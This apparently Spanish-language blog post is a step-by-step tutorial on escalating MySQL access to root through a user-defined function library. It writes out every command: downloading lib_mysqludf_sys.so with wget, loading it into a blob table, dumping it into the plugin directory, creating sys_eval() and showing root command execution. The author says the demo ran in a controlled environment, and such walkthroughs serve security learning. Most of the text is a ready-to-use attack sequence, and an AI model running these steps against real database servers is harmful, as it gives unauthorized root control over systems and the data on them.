Una de las formas de elevar privilegios es añadir funciones a Mysql y para eso nos valemos de la interface UDF (funciones definidas por el usuario) para esto habra que contar con la libreria necesaria apartir de la cual seran llamadas.
Teniendo los privilegios necesarios podremos crear ciertas funciones como sys_eval() la cual nos permitiran ejecutar comandos como usuario root desde la propia db.
Ante todo debemos asegurarnos de que la base de datos corre con superprivilegios, miremos el fichero de configuracion en /etc/mysql/my.cnf
# * Basic Settings # user = root pid-file = /var/run/mysqld/mysqld.pid socket = /var/run/mysqld/mysqld.sock port = 3306 basedir = /usr datadir = /var/lib/mysql tmpdir = /tmp language = /usr/share/mysql/english
Descargamos la libreria lib_mysqludf_sys.so dentro del directorio /tmp
wget https://github.com/mysqludf/lib_mysqludf_sys/raw/master/lib_mysqludf_sys.so
Conectamos con las credenciales obtenidas a la base de datos
mysql -u "user" -p"password" database
Creamos la table code
CREATE TABLE code (codigo blob);
Presten atencion al tipo de campo "blob" este sirve para almacenar datos binarios entre otros, esto hara que al momento de volcar el fichero no se produzca un cambio de ciertos caracteres que puedan llegar a generar un error cuando la libreria sea llamada.
Insertaremos la libreria en la tabla code
INSERT INTO code VALUES(load_file('/tmp/lib_mysqludf_sys.so'));
Dumpeamos los datos en /usr/lib/mysql/plugin/ que es el directorio desde donde el servidor cargara las librerias.
SELECT * FROM code INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
Por ultimo creamos la funcion sys_eval()
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
Llamamos a dicha función
select sys_eval('id');
+-----------------------------------------+
| sys_eval('id') |
+-----------------------------------------+
| uid=0(root) gid=0(root) groups=0(root) |
| |
+-----------------------------------------+
Les dejo un video demostrativo que realice en un entorno controlado
Saludos!
